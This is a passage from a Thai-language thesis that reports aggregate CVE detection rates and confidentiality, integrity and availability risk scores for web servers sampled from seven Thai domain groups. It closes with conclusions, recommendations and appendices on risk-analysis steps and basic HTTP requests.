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5.4 การทดลองเพื่อประเมินความเสี่ยงของเวบ็เซิรฟเวอรภายใตโดเมนในประเทศไทย 

5.4.1 การออกแบบการทดลองเพื่อประเมินความเสี่ยงของเว็บเซิรฟเวอรภายใตโดเมนใน
ประเทศไทย 

เพื่อใหไดคาความเสี่ยงที่ครอบคลุมเว็บเซิรฟเวอรประเภทตางๆ มากขึ้น ผูวิจัยจึง

ออกแบบการทดลองเพื่อทําการประเมินความเสี่ยงของเว็บเซิรฟเวอรในแตละกลุมโดเมนที่ทําการ

จดทะเบียนในประเทศไทยและอนุญาตใหทําการเผยแพรชื่อโดเมนดังกลาวตอสาธารณะได [20] 

ทั้งนี้กลุมของโดเมนสามารถแบงแยกไดดังนี้ 

1. กลุม co.th สําหรับการพาณิชยและธุรกิจ ผูสมัครขอลงทะเบียน

โดเมนเนมภายใตหมวดหมูนี้จะตองเปนองคกรพาณิชยที่จดทะเบียน

ในประเทศไทย หรือบริษัทตางประเทศที่มีตัวแทนอยูในประเทศไทย 

และตัวแทนนั้นจะตองจดทะเบียนในประเทศไทยและไดรับการโอน

สิทธิในการลงทะเบียนโดเมนเนมจากบริษัทแมในตางประเทศเปนที่

เรียบรอย 

2. กลุม in.th สําหรับหนวยงานทุกประเภท และบุคคลทั่วไป 

3. กลุม ac.th สําหรับสถาบันการศึกษา ผูสมัครขอลงทะเบียนโดเมน

ภายใตหมวดหมูนี้จะตองเปนสถาบันการศึกษาที่จดทะเบียนใน

ประเทศไทย 

4. กลุม go.th สําหรับการใชของภาครัฐบาล เชน กระทรวงหรือ

หนวยงานรัฐบาล โดยชื่อโดเมนภายใตหมวดหมูนี้จะตองเปน

หนวยงานของรัฐบาลไทยเทานั้น 

5. กลุม net.th สําหรับผูใหบริการเครือขายอินเทอรเน็ต (Internet 

Service Provider) ซึ่งไดรับอนุญาตใหเปดใหบริการแกบุคคลทั่วไป

จากการสื่อสารแหงประเทศไทยหรือผูไดรับสิทธิ์ในการใหบริการจาก

ผูใหบริการเครือขายอินเทอรเน็ตโดยมีหนังสือยืนยันจากผูใหบริการ

เครือขายอินเทอรเน็ตนั้นๆ 

6. กลุม or.th สําหรับองคกรที่ไมแสวงผลกําไร 

7. กลุม mi.th สําหรับหนวยงานทางทหาร 
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จํานวนเซิรฟเวอรที่ใชเปนหนวยตัวอยางจําแนกตามกลุมโดเมน ผูวิจัยไดคํานวณ

จํานวนหนวยตัวอยางขั้นต่ําจากจํานวนประชากร [21] โดยใชคาขอบเขตของการผิดพลาด 

(Margin of error) เทากับ 0.03 และคาแอลฟา (Alpha) เทากับ 0.05 จากการคํานวณไดจํานวน

หนวยตัวอยางจากประชากรดังตารางที่ 5.5 

 

ตารางที่ 5.5 แสดงจํานวนประชากรและจาํนวนหนวยตัวอยางของแตละกลุมโดเมน 

กลุมโดเมน จํานวนประชากร จํานวนหนวยตัวอยาง 

กลุมโดเมน co.th 10,158 โดเมน 117 โดเมน 

กลุมโดเมน in.th 1,313 โดเมน 106 โดเมน 

กลุมโดเมน ac.th 1,007 โดเมน 106 โดเมน 

กลุมโดเมน go.th 320 โดเมน 85 โดเมน 

กลุมโดเมน net.th 28 โดเมน 12 โดเมน 

กลุมโดเมน or.th 574 โดเมน 97 โดเมน 

กลุมโดเมน mi.th 15 โดเมน 6 โดเมน 

รวม 13,415 โดเมน 529 โดเมน 

 

5.4.2 ทําการทดลองประเมินความเสี่ยงของเวบ็เซิรฟเวอรภายใตโดเมนในประเทศไทย 

การทําการทดลองผูวิจัยไดทําการสุมเลือกโดเมนของแตละกลุมโดเมนตาม

จํานวนหนวยตัวอยางที่คํานวณไดในขั้นตอนที่ 5.4.1 และทําการประเมินความเสี่ยงของกลุม

โดเมนตางๆ ในชวงเวลาวันจันทรถึงวันอาทิตย ตลอด 24 ชั่วโมง จนครบตามจาํนวนหนวยตวัอยาง

ที่กําหนดไว โดยเครื่องคอมพิวเตอรที่ใชในการดําเนินงานนั้นมีคุณสมบัติคือ เครื่องคอมพิวเตอรทีม่ี

หนวยประมวลผลกลางเพนเทียมทรี ความเร็ว 650 เมกะเฮิรตซ หนวยความจําขนาด 512 เมกะ

ไบต ติดตั้งระบบปฏิบัติการวินโดวส เอ็กซพี และเชื่อมตอกับอินเทอรเน็ตความเร็ว 512/256 

กิโลไบต 

 

5.4.3 ผลการประเมินความเสี่ยงของเวบ็เซิรฟเวอรภายใตโดเมนในประเทศไทย 

จากการทดลองประเมินความเสี่ยงของเว็บเซริฟเวอรภายใตโดเมนในประเทศไทย

รวมทั้งสิ้น 529 โดเมนนั้น ไดคาความนาจะเปนในการตรวจพบของจุดบกพรองดังตารางที่ 5.6  
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ตารางที่ 5.6 คาความนาจะเปนของโดเมนทัง้หมด 529 โดเมน 

หมายเลขจุดบกพรอง คาความนาจะเปน จํานวนที่ตรวจสอบพบ 

ซีวีอี 1999-0021 0.0661 35 

ซีวีอี 1999-0066 0.0245 13 

ซีวีอี 1999-0067 0.0283 15 

ซีวีอี 1999-0070 0.0567 30 

ซีวีอี 1999-0146 0.0245 13 

ซีวีอี 1999-0172 0.0812 43 

ซีวีอี 1999-0174 0.0245 13 

ซีวีอี 1999-0191 0.0132 7 

ซีวีอี 1999-0237 0.1739 92 

ซีวีอี 1999-0260 0.0302 16 

ซีวีอี 1999-0262 0.0245 13 

ซีวีอี 1999-0264 0.0245 13 

ซีวีอี 1999-0266 0.0245 13 

ซีวีอี 1999-0278 0.0132 7 

ซีวีอี 1999-0874 0.0302 16 

ซีวีอี 2000-0010 0.0510 27 

ซีวีอี 2000-0208 0.0396 21 

ซีวีอี 2000-0226 0.1568 83 

ซีวีอี 2000-0287 0.0510 27 

ซีวีอี 2000-0770 0.4555 241 

ซีวีอี 2000-0778 0.2211 117 

ซีวีอี 2000-0884 0.4555 241 

ซีวีอี 2000-0886 0.4555 241 

ซีวีอี 2000-0941 0.0510 27 

ซีวีอี 2001-0151 0.0132 7 

ซีวีอี 2001-0241 0.0245 13 

ซีวีอี 2001-0333 0.3610 191 

ซีวีอี 2001-0500 0.1928 102 
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ตารางที่ 5.6 คาความนาจะเปนของโดเมนทัง้หมด 529 โดเมน (ตอ) 

หมายเลขจุดบกพรอง คาความนาจะเปน จํานวนที่ตรวจสอบพบ 

ซีวีอี 2001-0507 0.0567 30 

ซีวีอี 2002-0061 0.0396 21 

ซีวีอี 2002-0082 0.0321 17 

ซีวีอี 2002-0392 0.0245 13 

ซีวีอี 2002-0513 0.0264 14 

จากคาความนาจะเปนในการตรวจพบจุดบกพรองผูวิจัยสามารถจัดกลุมระดับ

ความเสี่ยงของจุดบกพรองตามจํานวนจุดบกพรองที่ตรวจพบในแตละโดเมนได 5 กลุม คือ กลุมที่

มีความเสี่ยงคอนขางนอย นอย ปานกลาง คอนขางมาก และมาก ดังแสดงในรูปที่ 5.4 

35
13
15

30
13

43
13

7
92

16
13
13
13

7
16

27
21

83
27

241
117

241

241
27

7
13

191
102

30
21

17
13
14

ซีวีอี 1999-0021
ซีวีอี 1999-0066
ซีวีอี 1999-0067
ซีวีอี 1999-0070
ซีวีอี 1999-0146
ซีวีอี 1999-0172
ซีวีอี 1999-0174
ซีวีอี 1999-0191
ซีวีอี 1999-0237
ซีวีอี 1999-0260
ซีวีอี 1999-0262
ซีวีอี 1999-0264
ซีวีอี 1999-0266
ซีวีอี 1999-0278
ซีวีอี 1999-0874
ซีวีอี 2000-0010
ซีวีอี 2000-0208
ซีวีอี 2000-0226
ซีวีอี 2000-0287
ซีวีอี 2000-0770
ซีวีอี 2000-0778
ซีวีอี 2000-0884
ซีวีอี 2000-0886
ซีวีอี 2000-0941
ซีวีอี 2001-0151
ซีวีอี 2001-0241
ซีวีอี 2001-0333
ซีวีอี 2001-0500
ซีวีอี 2001-0507
ซีวีอี 2002-0061
ซีวีอี 2002-0082
ซีวีอี 2002-0392
ซีวีอี 2002-0513

(ระดับความเสี่ยง)

จุดบกพรองซีวีอี

คอนขางนอย นอย ปานกลาง คอนขางมาก มาก50 100 150 200 250
จํานวนโดเมนท่ีตรวจพบ

 
รูปที่ 5.4 กราฟแสดงระดับความเสีย่งของจุดบกพรองรวมทกุโดเมน
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ตารางที่ 5.7 กลุมของจุดบกพรองซีวีอีจาํแนกตามระดับความเสีย่ง 
คอนขางนอย นอย ปานกลาง คอนขางมาก มาก 

หมายเลขซีวอี ี จํานวนที่พบ หมายเลขซีวอี ี จํานวนที่พบ หมายเลขซีวอี ี จํานวนที่พบ หมายเลขซีวอี ี จํานวนที่พบ หมายเลขซีวอี ี จํานวนที่พบ 

ซีวีอี 1999-0021 35 ซีวีอี 1999-0237 92 ซีวีอี 2000-0778 117 ซีวีอี 2001-0333 191 ซีวีอี 2000-0770 241 

ซีวีอี 1999-0066 13 ซีวีอี 2000-0226 83 ซีวีอี 2001-0500 102   ซีวีอี 2000-0884 241 

ซีวีอี 1999-0067 15       ซีวีอี 2000-0886 241 

ซีวีอี 1999-0070 30         

ซีวีอี 1999-0146 13         

ซีวีอี 1999-0172 43         

ซีวีอี 1999-0174 13         

ซีวีอี 1999-0191 7         

ซีวีอี 1999-0260 16         

ซีวีอี 1999-0262 13         

ซีวีอี 1999-0264 13         

ซีวีอี 1999-0266 13         

ซีวีอี 1999-0278 7         

ซีวีอี 1999-0874 16         

ซีวีอี 2000-0010 27         

ซีวีอี 2000-0208 21         

ซีวีอี 2000-0287 27         

ซีวีอี 2000-0941 27         

ซีวีอี 2001-0151 7         

ซีวีอี 2001-0241 13         

ซีวีอี 2001-0507 30         

ซีวีอี 2002-0061 21         

ซีวีอี 2002-0082 17         

ซีวีอี 2002-0392 13         

ซีวีอี 2002-0513 14         
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และจากคาความนาจะเปนในการตรวจพบจุดบกพรองของแตละกลุมโดเมนที่

คํานวณไดนั้น (แสดงในภาคผนวก จ) สามารถคํานวณคาความเสี่ยงของแตละกลุมโดเมนไดดัง

ตารางที่ 5.8 

 

ตารางที่ 5.8 คาความเสีย่งของแตละกลุมโดเมน 
กลุมโดเมน การรักษาความลับ การบูรณภาพ สภาพพรอมใชงาน คาความเส่ียงรวม 

กลุมโดเมน co.th 3.1667 2.7066 1.0678 6.9411 

กลุมโดเมน in.th 1.2897 1.0694 0.5583 2.9174 

กลุมโดเมน ac.th 2.3231 2.0143 0.8599 5.1973 

กลุมโดเมน go.th 2.2606 1.8025 0.6850 4.7481 

กลุมโดเมน net.th 1.4167 1.1250 0.3542 2.8958 

กลุมโดเมน or.th 2.7999 2.3617 0.7973 5.9589 

กลุมโดเมน mi.th 1.9167 1.7222 0.6944 4.3333 

คาความเส่ียงเฉล่ีย
รวมทุกกลุมโดเมน 

2.1676 1.8288 0.7167 4.7131 

 

0

1

2

3

4

5

6

7

8

go.th net.th in.th ac.th co.th or.th mi.th ทุกโดเมน

ประเภทโดเมน

คา
คว

าม
เสี่
ยง

การรักษาความลับ การบูรณภาพ สภาพพรอมใชงาน รวม

 
รูปที่ 5.5 กราฟแสดงคาความเสี่ยงของแตละกลุมโดเมน 

จากตารางที่ 5.8 และรูปที่ 5.5 พบวาทุกกลุมโดเมนมีคาความเสี่ยงที่มีผลกระทบ

ตอการรักษาความลับสูงกวาผลกระทบดานอื่นๆ ซึ่งสอดคลองกับการจัดประเภทผลกระทบของ
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จุดบกพรองของเว็บเซิรฟเวอรที่ทางเอ็นไอเอสที (National Institute of Standards and 

Technology : NIST) นําเสนอวาจุดบกพรองของเว็บเซิรฟเวอรจํานวนมากมีผลกระทบตอการ

รักษาความลับ โดยจากการทดลองสามารถสรุปคาความเสี่ยงของเว็บเซิรฟเวอรในแตละกลุม

โดเมนไดดังนี้ 

เว็บเซิรฟเวอรในกลุมโดเมน co.th มีคาความเสี่ยงทางดานการรักษาความลับ

เทากบั 3.1667 มีคาความเสี่ยงทางดานการบูรณภาพเทากับ 2.7066 มีคาความเสี่ยงทางดาน

สภาพพรอมใชงานเทากับ 1.0678 และมีคาความเสี่ยงรวมเทากับ 6.9411 

เว็บเซิรฟเวอรในกลุมโดเมน in.th มีคาความเสี่ยงทางดานการรักษาความลับ

เทากับ 1.2897 มีคาความเสี่ยงทางดานการบูรณภาพเทากับ 1.0694 มีคาความเสี่ยงทางดาน

สภาพพรอมใชงานเทากบั 0.5583 และมีคาความเสี่ยงรวมเทากับ 2.9174 

เว็บเซิรฟเวอรในกลุมโดเมน ac.th มีคาความเสี่ยงทางดานการรักษาความลับ

เทากับ 2.3231 มีคาความเสี่ยงทางดานการบูรณภาพเทากับ 2.0143 มีคาความเสี่ยงทางดาน

สภาพพรอมใชงานเทากับ 0.8599 และมีคาความเสี่ยงรวมเทากับ 5.1973 

เว็บเซิรฟเวอรในกลุมโดเมน go.th มีคาความเสี่ยงทางดานการรักษาความลับ

เทากับ 2.2606 มีคาความเสี่ยงทางดานการบูรณภาพเทากับ 1.8025 มีคาความเสี่ยงทางดาน

สภาพพรอมใชงานเทากับ 0.6850 และมีคาความเสี่ยงรวมเทากับ 4.7481 

เว็บเซิรฟเวอรในกลุมโดเมน net.th มีคาความเสี่ยงทางดานการรักษาความลับ

เทากับ 1.4167 มีคาความเสี่ยงทางดานการบูรณภาพเทากับ 1.1250 มีคาความเสี่ยงทางดาน

สภาพพรอมใชงานเทากับ 0.3542 และมีคาความเสี่ยงรวมเทากับ 2.8958 

เว็บเซิรฟเวอรในกลุมโดเมน or.th มีคาความเสี่ยงทางดานการรักษาความลับ

เทากับ 2.7999 มีคาความเสี่ยงทางดานการบูรณภาพเทากับ 2.3617 มีคาความเสี่ยงทางดาน

สภาพพรอมใชงานเทากับ 0.7973 และมีคาความเสี่ยงรวมเทากับ 5.9589 

เว็บเซิรฟเวอรในกลุมโดเมน mi.th มีคาความเสี่ยงทางดานการรักษาความลับ

เทากับ 1.9167 มีคาความเสี่ยงทางดานการบูรณภาพเทากับ 1.7222 มีคาความเสี่ยงทางดาน

สภาพพรอมใชงานเทากับ 0.6944 และมีคาความเสี่ยงรวมเทากับ 4.3333 
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เว็บเซิรฟเวอรภายใตโดเมนที่จดทะเบียนในประเทศไทย มีคาความเสี่ยงทางดาน

การรักษาความลับเฉลี่ยเทากับ 2.1676 มีคาความเสี่ยงทางดานการบูรณภาพเฉลี่ยเทากับ 

1.8288 มีคาความเสี่ยงทางดานสภาพพรอมใชงานเฉลี่ยเทากับ 0.7167 และมีคาความเสี่ยงรวม

เฉลี่ยเทากับ 4.7131 

เมื่อพิจารณาจากคาความเสี่ยงของทุกกลุมโดเมนพบวากลุมโดเมน co.th มีคา

ความเสี่ยงสูงที่สุดทั้งคาความเสี่ยงทางดานการรักษาความลับ การบูรณภาพ และสภาพพรอมใช

งาน และกลุมโดเมน in.th เปนกลุมโดเมนที่มีคาความเสี่ยงทางดานการรักษาความลับและการ

บูรณภาพต่ําที่สุด และกลุมโดเมนที่มีคาความเสี่ยงทางดานสภาพพรอมใชงานต่ําที่สุดไดแกกลุม

โดเมน net.th 

 



                                    
                             

 

บทที่ 6 
 

สรุปผลการวิจัย และขอเสนอแนะ 

จากการดําเนินงานวิจัย ผูวิจัยสามารถสรุปผลการวิจัย และขอแนะนําเพื่อการทํา

วิจัยสําหรับผูที่สนใจตอไปได ดังนี้ 

 

6.1 สรุปผลการวิจยั 

จากโปรแกรมประเมินความเสี่ยงของเว็บเซิรฟเวอรที่พัฒนาขึ้นและผลการทดลอง

ที่ไดนําเสนอในบทที่ 5 นั้น สามารถสรุปผลการวิจัยไดดังตอไปนี้ 

6.1.1 สถาปตยกรรมในการประเมินความเสี่ยงของเว็บเซิรฟเวอร ที่ผูวิจัยนําเสนอ

สามารถใชประเมินความเสี่ยงของอาปาเชและไอไอเอสเว็บเซิรฟเวอรได โดยจากการเปรียบเทียบ

กับโปรแกรมที่ใชในการตรวจสอบจุดบกพรองของเว็บเซิรฟเวอรที่ใชกันในปจจุบันพบวาสามารถ

ตรวจสอบจุดบกพรองไดสอดคลองกัน 

6.1.2 จากผลการประเมินความเสี่ยงของเว็บเซิรฟเวอรทั่วไปหนวยที่ 1 พบวามีคา

ความเสี่ยงทางดานการรักษาความลับเทากับ 0 มีคาความเสี่ยงทางดานการบูรณภาพเทากับ 0 

และมีคาความเสี่ยงทางดานสภาพพรอมใชงานเทากับ 0 มีคาความเสี่ยงรวมเทากับ 0 ซึ่งเมื่อ

เปรียบเทียบกับเว็บเซิรฟเวอรของหนวยงานแหงหนึ่งที่เลือกเปนหนวยตัวอยางนั้นสรุปไดวาเว็บ

เซิรฟเวอรทั่วไปหนวยที่ 1 มีคาความเสี่ยงต่ํา 

6.1.3 จากผลการประเมินความเสี่ยงของเว็บเซิรฟเวอรทั่วไปหนวยที่ 2 พบวามีคา

ความเสี่ยงทางดานการรักษาความลับเทากับ 0.1111 มีคาความเสี่ยงทางดานการบูรณภาพ

เทากับ 0.2222 และมีคาความเสี่ยงทางดานสภาพพรอมใชงานเทากับ 0.3333 มีคาความเสี่ยง

รวมเทากับ 0.6666 ซึ่งเมื่อเปรียบเทียบกับเว็บเซิรฟเวอรของหนวยงานแหงหนึ่งที่เลือกเปนหนวย

ตัวอยางนั้นสรุปไดวาเว็บเซิรฟเวอรทั่วไปหนวยที่ 2 มีคาความเสี่ยงต่ํา 

6.1.4 คาความเสี่ยงของเว็บเซิรฟเวอรภายใตโดเมนในประเทศไทยพบวามีคา

ความเสี่ยงทางดานการรักษาความลับเฉลี่ยเทากับ 2.1676 มีคาความเสี่ยงทางดานการบูรณภาพ

เฉลี่ยเทากับ 1.8288 และมีคาความเสี่ยงทางดานสภาพพรอมใชงานเฉลี่ยเทากับ 0.7167 มีคา

ความเสี่ยงรวมเฉลี่ยเทากับ 4.7131 โดยกลุมโดเมน co.th มีคาความเสี่ยงสูงที่สุดทั้งคาความเสี่ยง

ทางดานการรักษาความลับ การบูรณภาพ และสภาพพรอมใชงาน สวนกลุมโดเมน in.th เปนกลุม
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โดเมนที่มีคาความเสี่ยงทางดานการรักษาความลับและการบูรณภาพต่ําที่สุด และกลุมโดเมนที่มี

คาความเสี่ยงทางดานสภาพพรอมใชงานต่ําที่สุดไดแกกลุมโดเมน net.th 

6.1.5 โปรแกรมประเมินความเสี่ยงของเว็บเซิรฟเวอรที่พัฒนาขึ้นสามารถประเมิน

ความเสี่ยงของเว็บเซิรฟเวอรโดยจําแนกคาความเสี่ยงที่ประเมินตามประเภทของความเสียหายที่

เกิดกับการรักษาความมั่นคงของระบบคอมพิวเตอรไดแก การรักษาความลับ การบูรณภาพ และ

สภาพพรอมใชงาน ได 

6.1.6 รายงานผลการตรวจสอบที่ไดจากโปรแกรมประเมินความเสี่ยงของเว็บ

เซิรฟเวอรสามารถแสดงคาความเสี่ยงของเว็บเซิรฟเวอรเปาหมายและคาความเสี่ยงของกลุมของ

เว็บเซิรฟเวอรที่ตองการเปรียบเทียบคาความเสี่ยงดวยได 

 

6.2 อภิปรายผลการวิจัย 

จากผลการวิจัยที่ได มีขอสังเกตในประเด็นของขอมูลที่ตรวจสอบพบจากเว็บ

เซิรฟเวอรตางๆ ซึ่งสามารถอภิปรายผลไดดังนี้ 

6.2.1 จากผลการทดลองที่ไดจากการประเมินความเสี่ยงของเว็บเซิรฟเวอรที่ใช

เปนหนวยตัวอยางในงานวิจัยนี้พบวายังมีเว็บเซิรฟเวอรจํานวนมากที่ขาดการบํารุงรักษาเพื่อให

ระบบการรักษาความมั่นคงแข็งแกรง 

6.2.2 ความเสียหายที่เกิดจากจุดบกพรองซีวีอีของเว็บเซิรฟเวอรนั้นมีขอสังเกตวา

จุดบกพรองจํานวนมากมีผลกระทบตอการรักษาความลับ ดังนั้นหนวยงานและองคกรที่มีเว็บ

เซิรฟเวอรเพื่อใหบริการแกบุคคลอื่นเปนของตนเอง ควรทําการตรวจสอบขอมูลที่จัดเก็บใน

เซิรฟเวอรและปรับปรุงใหเว็บเซิรฟเวอรมีระบบการรักษาความมั่นคงความแข็งแกรงอยูเสมอ 

 

6.3 ขอเสนอแนะ 

จากการวิจัยคร้ังนี้ หลังจากที่ไดขอสรุปแลว สามารถใหขอเสนอแนะเกี่ยวกับการ

ทดลองของผูวิจัยและโปรแกรมประเมินความเสี่ยงของเว็บเซิรฟเวอรไดดังตอไปนี้ 

6.3.1 การทดลองของผูวิจัยจํากัดอยูเพียงเว็บเซิรฟเวอรที่อยูในประเทศไทย

เทานั้นโดยผูวิจัยใชอินเทอรเน็ตที่สามารถเขาถึงเฉพาะเครื่องที่อยูในประเทศไทยหรอืที่ผูใหบริการ

เรียกวาโลคอลเน็ต (Local Net) จึงไมไดทําการตรวจสอบเว็บเซิรฟเวอรอ่ืนๆ ที่อยูในตางประเทศ 

อาทิเชน เว็บเซิรฟเวอรที่มีโดเมนลงทายดวยโดเมน com และ net เปนตน ที่มีเครื่องที่ใหบริการอยู
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ในตางประเทศ จึงควรทําการทดลองเพื่อเปรียบเทียบเว็บเซิรฟเวอรของโดเมนในตางประเทศกับ

เว็บเซิรฟเวอรของโดเมนในประเทศไทย หรือประเทศอื่นๆ ตอไป  

6.3.2 โปรแกรมที่พัฒนาขึ้นสนับสนุนการประเมินความเสี่ยงดวยการรองขอขอมลู

ดวยโปรโตคอลเอชทีทีพีเทานั้น แตทั้งนี้ยังมีโปรโตคอลอื่นๆ เชนโปรโตคอลเอฟทีพี (File Transfers 

Protocol : FTP) เปนตน ที่เครื่องเซิรฟเวอรใหบริการ ดังนั้นจึงควรหาวิธีการประเมินความเสี่ยงโดย

ใชโปรโตคอลอื่นๆ ในการตรวจสอบจุดบกพรองและนําผลที่ไดมาทําการประเมินความเสี่ยงรวมกัน

เพื่อใหไดคาความเสี่ยงที่ไดมีคาครอบคลุมเซิรฟเวอรมากขึ้น 
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ภาคผนวก



 

ภาคผนวก ก 
 

ขั้นตอนในการวิเคราะหความเสี่ยงของระบบรักษาความมั่นคง [7] 
 

ขั้นตอนที่ 1 การกําหนดสิ่งที่จะวิเคราะห (Identify Assets) กอนที่จะทําการ

กําหนดจุดบกพรองของระบบไดนั้นตองทําการกําหนดสิ่งที่เราจะทําการปองกันรักษาความมั่นคง

กอนซึ่งประกอบดวย 

• ฮารดแวร เชน จอภาพ แผนดิสก เครื่องพิมพ สายสงสัญญาณ ตัวควบคุม

การสงสัญญาณ เปนตน 

• ซอฟตแวรไดแก ระบบปฏิบัติการและโปรแกรมประยุกตตางๆ  

• ขอมูล เชน ขอมูลที่ใชในการประมวลผล ขอมูลที่บันทึกเขาสูระบบ เปนตน 

• ผูใชงานหรือทักษะของผูใชงานระบบ 

• เอกสาร เชน เอกสารที่อยูบนโปรแกรมประยุกต ฮารดแวร หรือการบันทึกการ

ทํางานของผูดูแลระบบ เปนตน 

• สิ่งสนบัสนุนอื่นๆ (Supplies) เชน กระดาษ หมึกพิมพ เปนตน 

ขั้นตอนที่ 2 การกําหนดจุดบกพรอง (Determine Vulnerabilities) เปนการ

คาดการณจุดบกพรองของทรัพยากรตางๆ ในระบบ โดยใชวัตถุประสงคของระบบรักษาความ

มั่นคงไดแก การรักษาความลับ การบูรณภาพ และสภาพพรอมใชงาน เปนหลักในการคนหา

จุดบกพรอง วิธีการที่ชวยในการคนหาจุดบกพรองสามารถทําไดโดยอาศัยผลการวิเคราะห

ผลกระทบของปญหาดังนี้ 

• ผลกระทบของความผิดพลาดที่ไมไดตั้งใจ (Effect of Unintentional Errors) 

เชนการปอนขอมูลผิด การใชคําสั่งในการทํางานผิด การบันทึกขอมูลผิด  

เปนตน 

• ผลกระทบที่เกิดจากความตั้งใจของบุคคลภายใน (Effect of Willfully 

Malicious Insiders) เชน ความอยากรูอยากเห็นของพนักงานในการดูขอมูล

ที่เปนความลับ เปนตน 

• ผลกระทบที่เกิดจากบุคคลภายนอก (Effect of Outsiders) เชน การเขามาใช

งานอุปกรณภายในองคกรโดยไมไดรับอนุญาต การใชงานผานทางระบบ

เครือขายขององคกร เปนตน 
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• ผลกระทบที่เกิดจากภัยธรรมชาติและความเสียหายทางกายภาพ (Effect of 

Natural and Physical Disaster) เชน ไฟไหม น้ําทวม แผนดินไหว เปนตน 

ขั้นตอนที่ 3 การประเมินโอกาสที่จะเกิดจุดบกพรองนั้น (Estimate 
Likelihood of Exploitation) ขั้นตอนนี้เปนการจัดลําดับความถี่ในการเกิดจุดบกพรองโดยสามารถ

จัดลําดับไดดังนี้ 

• ความถี่ในการเกิดมากกวา 1 คร้ังตอวันมีลําดับเปน 10 

• ความถี่ในการเกิด 1 คร้ังในเวลา 1 วันมีลําดับเปน 9 

• ความถี่ในการเกิด 1 คร้ังในเวลา 3 วันมีลําดับเปน 8 

• ความถี่ในการเกิด 1 คร้ังในเวลา 1 สัปดาหมีลําดับเปน 7 

• ความถี่ในการเกิด 1 คร้ังในเวลา 2 สัปดาหมีลําดับเปน 6 

• ความถี่ในการเกิด 1 คร้ังในเวลา 1 เดือนมีลําดับเปน 5 

• ความถี่ในการเกิด 1 คร้ังในเวลา 4 เดือนมีลําดับเปน 4 

• ความถี่ในการเกิด 1 คร้ังในเวลา 1 ปมีลําดับเปน 3 

• ความถี่ในการเกิด 1 คร้ังในเวลา 3 ปมีลําดับเปน 2 

• ความถี่ในการเกิด 1 คร้ังในเวลามากกวา 3 ปมีลําดับเปน 1 

ขั้นตอนที่  4 การคํานวณคาความเสียหาย (Compute Expected Loss) เปน

การยากในการคํานวณหรือประมาณความเสียหายที่จะเกิดขึ้น เนื่องจากตองอาศัยการประเมิน

คุณคาของขอมูลตางๆ ที่อยูในระบบ เชน หากขอมูลทางดานการเงินไดรับความเสียหายคิดเปน

มูลคาความเสียหายขององคกรเทาใด เปนตน 

ขั้นตอนที่ 5 การคนหาและเลือกวิธีการควบคุมใหมๆ (Survey and Select 
New Control) เปนการคนหาวิธีการที่ใชในการควบคุมระบบรักษาความมั่นคง ทั้งนี้มีการ

เปรียบเทียบวิธีการตางๆ ในการควบคุมกับจุดบกพรองตางๆ เพื่อเลือกวิธีการที่เหมาะสมโดยใช

การใหคะแนนในการเปรียบเทียบดังนี้ 

• คะแนน 2 หมายถึง เปนวิธีการที่ปองกันไมใหเกิดจุดบกพรอง หรือไมให

จุดบกพรองนั้นมีผลกระทบตอการทํางานของระบบ 

• คะแนน 1 หมายถึง เปนวิธีการที่ปองกันไมใหจุดบกพรองนั้นมีผลกระทบตอ

การทํางานของระบบไดบางสวน หรือลดความรนุแรงของจุดบกพรองลง 
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• คะแนน 0 หมายถึง เปนวิธีการที่ปองกันไมใหจุดบกพรองนั้นมีผลกระทบตอ

การทํางานของระบบไดบางสวน หรือลดความรุนแรงของจุดบกพรองลง แต

ทําใหจุดบกพรองอื่นมีผลกระทบมากขึ้น 

• คะแนน –1 หมายถึง เปนวิธีการที่ปองกันไมใหจุดบกพรองนั้นมีผลกระทบตอ

การทํางานของระบบไดบางสวน หรือลดความรุนแรงของจุดบกพรองลง แต

ทําใหเกิดจุดบกพรองใหมขึ้น 

•  คะแนน  –2 หมายถึงเปนวิธีการที่ ไมสามารถปองกันผลกระทบของ

จุดบกพรองได และยังทําใหเกิดจุดบกพรองใหมขึ้นดวย 

ขั้นตอนที่  6 การคํานวณการประหยัดคาใชจายของโครงการ (Project 
Saving) เปนการวิเคราะหความคุมคาของการแกไขจุดบกพรองตางๆ โดยนําความนาจะเปนใน

การเกิดจุดบกพรองแตละจุด กับคาใชจายในการแกไขปรับปรุงของแตละจุดบกพรองมาวิเคราะห

ความคุมคาในการดําเนินงานแกไข 

 



 

ภาคผนวก ข 
 

การทํางานของโปรโตคอลเอชทีทีพี [8] 
 

โปรโตคอลเอชทีทีพีเปนโปรโตคอลที่ทุกๆ เว็บบราวเซอรและเว็บเซิรฟเวอรใชใน

การสื่อสารแลกเปลี่ยนขอมูลกัน มีดวยกัน 3 เวอรชันไดแก เวอรชัน 0.9 เวอรชัน 1 และเวอรชัน 1.1 

ซึ่งทุกเวอรชันใชโครงสรางพื้นฐานของเอชทีทีพี ในการทํางานเหมือนกันคือใชการรองขอขอมูล 

และการตอบสนองขอมูลในการติดตอสื่อสารกัน แตการทํางานของโปรโตคอลเอชทีทีพีในเวอรชัน 

0.9 และ 1.0 นั้นเปนการทํางานแบบไมมีการจดจําสถานะ (Stateless Protocol) จึงทําใหการ

ติดตอสามารถทําไดอยางอิสระและมีประสิทธิภาพ แตตอมาในเวอรชัน 1.1 ไดพัฒนาใหสนับสนุน

การทํางานของเว็บแคชและการสรางคอนเน็กชันแบบถาวร (Persistent connections) ในการ

ติดตอส่ือสารเพื่อใหสามารถใชงานรวมกับการทํางานแบบทันเนลโหมด (Tunnel Mode) ที่มีความ

ปลอดภัยในการสงขอมูลมากกวาการทํางานแบบไมมีการจดจําสถานะได 

การรองขอแบบเอชทีทีพี (HTTP Request) คือ การที่เว็บบราวเซอรสงการรองขอ

ขอมูลไปยังเว็บเซิรฟเวอร โดยการรองขอขอมูลตองอาศัยเมธอด (Method) หรือวิธีการรองขอ

ขอมูลซึ่งมีรูปแบบการรองขอขอมูลดังตัวอยางตอไปนี้เปนการรองขอขอมูลดวยเอชทีทีพีเวอรชัน 

1.1 ไปยังโฮสต www.someschool.edu โดยทําการรองขอหนาเพจ page.html จากไดเรกทอรี 

somedir ในโฮสตนั้นๆ เปนตน 

GET /somedir/page.html HTTP/1.1 -- เปนการรองขอทรัพยากรตามพาธ (Path) ที่

กําหนดและทําการรองขอดวยเอชทีทีพี เวอรชัน 1.1 

Host: www.someschool.edu -- ชื่อโฮสตที่รับการรองขอขอมูลหรือโฮสตที่เก็บทรัพยากร 

Connection: close -- เมื่อตอบสนองขอมูลแลวใหปดการเชื่อมตอ 

User-agent: Mozilla/4.0 -- เว็บบราวเซอรที่ใชในการรองขอขอมูล 

Accept-language: en -- ภาษาที่เว็บบราวเซอรตองการใหตอบสนอง (กรณีที่เว็บ

